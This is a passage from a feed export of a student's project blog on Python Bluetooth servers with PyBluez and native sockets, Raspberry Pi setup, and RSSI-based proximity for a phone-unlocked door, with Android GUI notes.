&lt;a href=&quot;http://en.wikipedia.org/wiki/PyQt&quot;&gt;Wiki page of PyQt&lt;/a&gt;, there are other GUI toolkits available for Python as well. However, we’ll stick to PyQt for now due to the fact that it is cross-platform. I have implemented Qt before in my Object Oriented programming course - I wrote a Hang Man’s words game and used Qt for the drawing.&lt;br /&gt;&lt;br /&gt;Below is the introductory video on PyQt and here is a good tutorial site for PyQt : &lt;a href=&quot;http://py.bo.vc/&quot;&gt;Link&lt;/a&gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;//www.youtube.com/embed/53oeJPKRttY?list=PL47Dta7tyjC0QOi29fbegPbfBv2DprxBb&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I also found out that, similar to PHP, Python can also be used with MySQL with ease. These two links below shows how it is done. I’ll try these out later when I want to get started with our desktop application.&lt;br /&gt;&lt;br /&gt;Link 1 : &lt;a href=&quot;http://www.linuxforu.com/2011/08/connecting-to-mysql-with-python-and-php/&quot;&gt;Connecting to MySQL with Python and PHP&lt;/a&gt;&lt;br /&gt;Link 2 : &lt;a href=&quot;http://zetcode.com/db/mysqlpython/&quot;&gt;MySQL Python tutorial&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python 3.3 and Bluetooth native socket</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Python-3.3-and-Bluetooth-native-socket/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Python-3.3-and-Bluetooth-native-socket</id>
   <content type="html">&lt;p&gt;I have posted &lt;a href=&quot;http://nextslides.blogspot.com/2013/07/python-26-and-pybluez.html&quot;&gt;earlier&lt;/a&gt; on how to run a simple serial server using Python 2.6 and PyBluez. Python 3.3 has natively available sockets class written for Bluetooth communication, eliminating the needs for PyBluez. I have not tested it yet myself, but if I’m not mistaken the native Bluetooth socket is only supported on unix based OS. So, if you’re on Windows, my guess is best to stay with Python 2.6 and PyBluez.&lt;br /&gt;&lt;br /&gt;A sample script for the server is as below:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;””“&lt;br /&gt;A simple Python script to receive messages from a client over&lt;br /&gt;Bluetooth using Python sockets (with Python 3.3 or above).&lt;br /&gt;””“&lt;br /&gt;&lt;br /&gt;import socket&lt;br /&gt;&lt;br /&gt;hostMACAddress = ‘00:1f:e1:dd:08:3d’ &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#The MAC address of a Bluetooth adapter on the server. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#The server might have multiple Bluetooth adapters.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;port = 3 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#3 is an arbitrary choice. It should match the port used by the client.&lt;br /&gt;backlog = 1&lt;br /&gt;size = 1024 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)&lt;br /&gt;s.bind((hostMACAddress,port))&lt;br /&gt;s.listen(backlog)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;try:&lt;br /&gt;       client, address = s.accept()&lt;br /&gt;       while 1:&lt;br /&gt;           data = client.recv(size)&lt;br /&gt;           if data:&lt;br /&gt;                   print(data)&lt;br /&gt;                   client.send(data)&lt;br /&gt;except:  &lt;br /&gt;       print(“Closing socket”)  &lt;br /&gt;       client.close()&lt;br /&gt;       s.close()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The scripts was not written by me. The original page &lt;a href=&quot;http://kevindoran1.blogspot.co.nz/2013/04/bluetooth-programming-with-python-3.html&quot;&gt;here&lt;/a&gt; discussed the difference between Python 2.6+PyBluez and native Bluetooth socket in Python 3.3.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://bitsofpy.blogspot.com.ar/2012/09/bluetooth-with-python-33.html&quot;&gt;Here’s&lt;/a&gt; an example of how to use the native Bluetooth socket to send a few command bytes to control the speed and direction of a Bluetooth controlled car.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python 2.6 and PyBluez</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Python-2.6-and-PyBluez/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Python-2.6-and-PyBluez</id>
   <content type="html">&lt;p&gt;My research on Python ended with Python 2.6 and PyBluez. If you haven’t noticed, there are newer version of Python (currently on version 3.3) but the later versions are not compatible with PyBluez. My so-far googling skills got me to the conclusion that this is the better solution, albeit temporarily. Python does not have Bluetooth native library before version 3.0 (if I’m not mistaken) and while they have added them now, the documentations were not really thorough. PyBluez, on the contrary, is only supported for Python until version 2.6. Since I have to do some demonstration with Python and Bluetooth, this is the easier solution. I will get back to the Python native Bluetooth library later on.&lt;br /&gt;&lt;br /&gt;This post will help you to do 2 things, assuming you’re on Windows:&lt;br /&gt;&lt;br /&gt;1. Installing Python 2.6 and PyBluez&lt;br /&gt;2. Run a simple Bluetooth serial server script&lt;br /&gt;&lt;br /&gt;Installing Python 2.6 and PyBluez&lt;br /&gt;1. Get them both here : &lt;a href=&quot;http://www.python.org/ftp/python/2.6.6/python-2.6.6.msi&quot;&gt;Python 2.6&lt;/a&gt; &lt;a href=&quot;https://pybluez.googlecode.com/files/PyBluez-0.18.win32-py2.6.exe&quot;&gt;PyBluez&lt;/a&gt;&lt;br /&gt;2. Run the Python installer first, followed by the PyBluez Installer&lt;br /&gt;&lt;br /&gt;Run the Bluetooth serial server&lt;br /&gt;1. Copy the whole code below into a file named BluetoothServer.py&lt;br /&gt;2. Save the file in the same folder where Python was installed previously&lt;br /&gt;3. At this point, turn on your Bluetooth, set for an incomming connection (set a listening port) and pair with the other device (client)&lt;br /&gt;4. Start the Windows command prompt. Navigate to the folder where Python was installed&lt;br /&gt;5. Run the script : &amp;amp;gt;&amp;amp;gt;python BluetoothServer.py&lt;br /&gt;6. Server is active and ready for an incoming connection : “Waiting for connection on RFCOMM Channel 1”&lt;br /&gt;&lt;br /&gt;The simple server is based on the PyBluez examples &lt;a href=&quot;https://code.google.com/p/pybluez/source/browse/trunk/examples/simple/rfcomm-server.py&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# file: BluetoothServer.py&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# desc: Simple Bluetooth Serial Server (Python 2.6 and PyBluez)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;from bluetooth import *&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock=BluetoothSocket( RFCOMM )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.bind((““,PORT_ANY))&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.listen(1)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;port = server_sock.getsockname()[1]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#change UUID accordingly&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;uuid = “94f39d29-7d6d-437d-973b-fba39e49d4ee” &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#start the listening server&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;advertise_service( server_sock, “BluetoothServer”,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   service_id = uuid,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   service_classes = [ uuid, SERIAL_PORT_CLASS ],&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   profiles = [ SERIAL_PORT_PROFILE ], &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                    )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Waiting for connection on RFCOMM channel %d” % port&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#accepting connection&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;client_sock, client_info = server_sock.accept()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Accepted connection from “, client_info&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#catch data and display.&lt;br /&gt;#wait for the client to cut off the connection&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;try:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    while True:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        data = client_sock.recv(1024)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        if len(data) == 0: break&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        print “received [%s]” % data&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;except IOError:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    pass&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “client disconnected”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#close sockets &lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;client_sock.close()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.close()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Server is off”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Android App (client) for sending in data is discussed separately on another post. The next step is to have this simple server ran on the Raspberry Pi and adding in some output manipulations using the Pi’s GPIO pins.&lt;br /&gt;&lt;br /&gt;Update: Here is a good read on the same topic. &lt;a href=&quot;https://www.dropbox.com/s/6hvbab04j854l58/Python%20and%20Bluetooth.pdf&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>New GUI Design</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/New-GUI-Design/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/New-GUI-Design</id>
   <content type="html">&lt;p&gt;I just saw this App and I thought it looks simple, clean and nice. I am a big fan of simplicity. So, I decided to draw using the similar theme for our App. I’ll code this later.&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-8Iae8e71AgM/UfuA2FYrVJI/AAAAAAAAAm8/CJooNzZgNV0/s1600/Screenshot_2013-08-02-17-43-16.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-8Iae8e71AgM/UfuA2FYrVJI/AAAAAAAAAm8/CJooNzZgNV0/s320/Screenshot_2013-08-02-17-43-16.png&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=at.markushi.expensemanager&amp;amp;hl=en&quot;&gt;Expense Manager &lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-L0tUZXA61sA/UfuC20P2LgI/AAAAAAAAAng/eqHaEHf2z4k/s1600/try2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-L0tUZXA61sA/UfuC20P2LgI/AAAAAAAAAng/eqHaEHf2z4k/s320/try2.png&quot; width=&quot;232&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Motivation, Novelty</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Motivation,-Novelty/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Motivation,-Novelty</id>
   <content type="html">&lt;p&gt;I need to remind myself again and again about these two things. The concept is not hard to understand, but often it’s easy to get confused.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Motivation - What drives us to put efforts in developing the proposed project?&lt;/span&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;What are the problems/limitations/situation in relation to the current existing solutions?&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Why such problems/limitations/situation are of importance, that it requires ‘solving’? Narrow it down into a specific scope..&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;Novelty - What is the uniqueness of the proposed project?&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;What are the ‘new stuff’ that we are proposing via the project? &amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;How are they different from the current existing solutions? (must highlight how the existing solutions do not have the ‘new stuff’ that we are proposing)&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Why are they importance? Why they are needed? Explain with help of scenarios within the aforementioned scope, go into details as necessary. &amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Measuring distance between user and the door</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Measuring-distance-between-user-and-the-door/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Measuring-distance-between-user-and-the-door</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-RXNlxYb9yvM/Ule-HVZ9T_I/AAAAAAAAAys/mYbwrHzdcm4/s1600/Untitled+drawing+(4).jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;426&quot; src=&quot;http://2.bp.blogspot.com/-RXNlxYb9yvM/Ule-HVZ9T_I/AAAAAAAAAys/mYbwrHzdcm4/s640/Untitled+drawing+(4).jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;We have no way of measuring distance directly between the user (the phone) and the door. However, we can safely approximate the distance by querying the “strength” of the received signal of the Bluetooth communication. The term is called Bluetooth Received Signal Strength Indication (RSSI). RSSI is the relative received signal strength in arbitrary units.&lt;br /&gt;&lt;br /&gt;In short, the closer the distance, the bigger the strength of the received signal, the bigger the RSSI numbers.&lt;br /&gt;&lt;br /&gt;In our case, we have two ways to implement this:&lt;br /&gt;&amp;lt;ol&amp;gt;&amp;lt;li&amp;gt;The Rpi does the query for signal strength and responses (to command the microcontroller to unlock the door) only when the signal strength is within the safe operating range.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The App (instead of the Rpi), which initiates the connection, sends the signal (“within range” or “not within range”) along with key based on the received signal strength (Android is able to provide this automatically on each Bluetooth connection or we can use one of the public methods to query manually) of the Rpi.&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;div&amp;gt;However, both methods relies heavily on the actual Bluetooth devices that we are using. We need to do some test on our own to approximate better (sadly we only have one Bluetooth dongle that works with Rpi at this moment). &lt;br /&gt;&lt;br /&gt;This is one example I’ve got from the net which should give us some approximations:&lt;br /&gt;&lt;br /&gt;         &lt;b&gt; RSSI              Position&lt;/b&gt;&lt;br /&gt;          38                   Phone touching Bluetooth dongle&lt;br /&gt;          25                   Phone an inch away&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;          10                   Phone about 6 inch away&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;          0                     From 2 feet to opposite side of room&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;          -3                    In next room (with a wall between)&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;          -10                  2 walls away&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br style=&quot;background-color: #fcfcfc; color: #333333; font-size: 13px; line-height: 19.234375px;&quot; /&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;source:&lt;br /&gt;&lt;a href=&quot;http://www.raspberrypi.org/phpBB3/viewtopic.php?t=47466&amp;amp;p=372150&quot;&gt;Link1&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://developer.android.com/reference/android/bluetooth/BluetoothDevice.html#EXTRA_RSSI&quot;&gt;Link2&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://developer.android.com/reference/android/bluetooth/BluetoothGatt.html#readRemoteRssi()&quot;&gt;Link3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Installing Python 2.6 and PyBluez on Rpi (or any Debian-based Linux Distro)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Installing-Python-2.6-and-PyBluez-on-Rpi-(or-any-Debian-based-Linux-Distro)/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Installing-Python-2.6-and-PyBluez-on-Rpi-(or-any-Debian-based-Linux-Distro)</id>
   <content type="html">&lt;p&gt;My experiment on running the simple server based on Python 2.6 and &lt;a href=&quot;https://code.google.com/p/pybluez/&quot;&gt;PyBluez&lt;/a&gt; works well in Windows along with the App I’ve written. I was able to send data from the Android App and the server was able to receive the data and display it.&lt;br /&gt;&lt;br /&gt;Implementing native Bluetooth socket on Rpi sent me to a dead end where I could not figure out why it doesn’t work and lack of resources to resolve the problem. Although packaged in within the more updated version of Python (Python 3.3), little &lt;a href=&quot;http://docs.python.org/3.3/library/socket.html&quot;&gt;documentations&lt;/a&gt; have been made on it.&lt;br /&gt;&lt;br /&gt;On Rpi, the App shown that connection has been made with the server and data has been successfully sent, but none of those are indicated on the server that I ran. Weird? Yes. I have decided to try writing the server with the older Python 2.6 and PyBluez to test if it works.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing Python 2.6 in Linux:&lt;/span&gt;&lt;br /&gt;1. Download Python 2.6 from &lt;a href=&quot;http://www.python.org/ftp/python/2.6.6/Python-2.6.6.tgz&quot;&gt;here&lt;/a&gt;&lt;br /&gt;2. Go to the containing directory (use “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cd&lt;/span&gt;” command to navigate).&lt;br /&gt;3. Decompress the .tar.gz by using&lt;br /&gt;    “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;tar -xzf Python-2.6.6.tar.gz&lt;/span&gt;“&lt;br /&gt;4. Go to the decompressed folder “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cd Python-2.6.6&lt;/span&gt;“&lt;br /&gt;5. Issues these following command&lt;br /&gt;   “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;./configure&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  make&lt;br /&gt;  sudo make install&lt;/span&gt;“&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installing PyBluez in Linux:&lt;/span&gt;&lt;br /&gt;1. Download PyBluez from &lt;a href=&quot;https://pybluez.googlecode.com/files/PyBluez-0.18.tar.gz&quot;&gt;here&lt;/a&gt;&lt;br /&gt;2. Go to the containing directory&lt;br /&gt;3. Decompress the .tar.gz by using&lt;br /&gt;    “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;tar -xzf PyBluez-0.18.tar.gz&lt;/span&gt;“&lt;br /&gt;4. Go to the decompressed folder “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cd PyBluez-0.18&lt;/span&gt;“&lt;br /&gt;5. Still in the shell, run “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sudo &lt;span class=&quot;pln&quot;&gt;python2.6 setup&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;py install&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;font-family: Monaco, &apos;DejaVu Sans Mono&apos;, &apos;Bitstream Vera Sans Mono&apos;, &apos;Lucida Console&apos;, monospace;&quot;&gt;“ &lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;pln&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;font-family: inherit;&quot;&gt;(Note that we run the script using “python2.6” and not “python”. “python” will refer to the default installed python which could be Python2.7 or Python 3 which we don’t want to use for now. Issuing “python2.6” will ensure that we run our scripts using Python2.6 instead.)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Monaco, &apos;DejaVu Sans Mono&apos;, &apos;Bitstream Vera Sans Mono&apos;, &apos;Lucida Console&apos;, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;Update: You might get an error that says Python.h is missing. Python.h is a header file written in C++. It is used by gcc to build applications. You need to install a package called python-dev. This package includes header files, a static library and development tools for building Python modules. To install this package, enter: “&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;sudo apt-get install python2.6-dev” &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;targeting our Python2.6&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;You might also need to install bluetooth header (bluetooth.h). Enter&lt;/span&gt; “&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;apt-get install libbluetooth-dev”. &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;After these two headers are installed, now you can proceed to installing PyBluez.&lt;br /&gt;&lt;br /&gt;Update: It seems that writing the server with Python2.6 and PyBluez gave me the same result. My next try will be writing the server on another language. The problem could be on Python’s implementation on Bluetooth with Rpi.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>GUI Design</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/GUI-Design/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/GUI-Design</id>
   <content type="html">&lt;p&gt;I have not been focusing on GUI design yet as I prefer to make sure some basic functions for the App are working first. The idea is to write these different functions separately into multiple temporary Apps for testing/debugging and then I’ll combine these into our final App. Even so, I did play around with the Android GUI just to get the feel of them. &lt;br /&gt;&lt;br /&gt;The Eclipse provides basic drag and drop with their graphical tools but sometimes they could go wrong. The attributes of each view that we use can be incorrectly set up by the tools and although it looks nice on Eclipse, it isn’t so on your phone. Also, we need to cater to different screen sizes, ensuring that the looks do not go wrong.&lt;br /&gt;&lt;br /&gt;So, the best way is to study on these different layout properties first i.e. Grid Layout, Linear Layout, Relative Layout and also Android views. There is also a guidelines for the GUI design at Android Developer site. I have read a good book on this, I’ll get back to attaching it here later.&lt;br /&gt;&lt;br /&gt;So far, these are a couple of GUI designs that I played with&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-hy0ERCbQfT0/Ufs9cFOXNRI/AAAAAAAAAmE/YSkUyqwIVj4/s1600/995734_10151890013609017_916800613_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-hy0ERCbQfT0/Ufs9cFOXNRI/AAAAAAAAAmE/YSkUyqwIVj4/s320/995734_10151890013609017_916800613_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-pRfEfq2SJCY/Ufs9bi2plOI/AAAAAAAAAl0/6QaT8czPt94/s1600/544403_10151890848349017_744003909_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; 